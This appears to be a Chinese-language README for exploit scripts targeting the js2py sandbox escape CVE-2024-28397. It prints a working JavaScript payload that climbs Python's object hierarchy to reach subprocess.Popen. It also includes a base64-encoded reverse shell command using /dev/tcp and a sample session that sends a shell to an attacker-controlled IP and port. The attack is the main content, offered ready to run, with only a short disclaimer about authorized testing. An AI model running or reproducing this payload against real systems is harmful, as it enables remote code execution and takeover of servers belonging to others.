针对 js2py 沙箱逃逸漏洞 (CVE‑2024‑28397) 的利用脚本集合,该漏洞允许通过 Python 对象内省实现任意代码执行。
js2py 库中存在一个关键的沙箱逃逸漏洞,攻击者可通过 JavaScript 的 Object.getOwnPropertyNames() 方法访问 Python 内部对象,从而执行任意 Python 代码。
本利用基于 Marven11 的全面分析:
本仓库包含三种不同的实现:
exploit.sh)轻量级 bash 实现,使用 curl 和 jq。
exploit.go)跨平台 Go 实现,内置 HTTP 客户端。
curl, jq, base64所有脚本均为交互式,会提示输入所需信息:
# Bash 版本
chmod +x exploit.sh
./exploit.sh
# Go 版本
go run exploit.go
每个脚本会要求:
$ ./exploit.sh
目标 URL: http://target.example.com:8000/run_code
你的 IP: 10.10.14.3
你的端口: 9001
正在向 http://target.example.com:8000/run_code 发送反弹 shell 10.10.14.3:9001
{"result": "executed"}
利用脚本动态创建反弹 shell 命令:
sh -i >& /dev/tcp/你的IP/你的端口 0>&1
shell 命令经过 base64 编码以便安全传输:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
核心利用使用 JavaScript 访问 Python 内部对象:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({}) 访问 Python 对象系统__class__.__base__.__getattribute__ 导航到基类subprocess.PopenPopen 执行任意系统命令这些脚本仅用于教育和授权测试目的。在针对任何系统进行测试前,请务必确保拥有适当授权。
本软件仅用于教育和授权安全测试。用户有责任遵守适用法律并在使用前获得适当授权。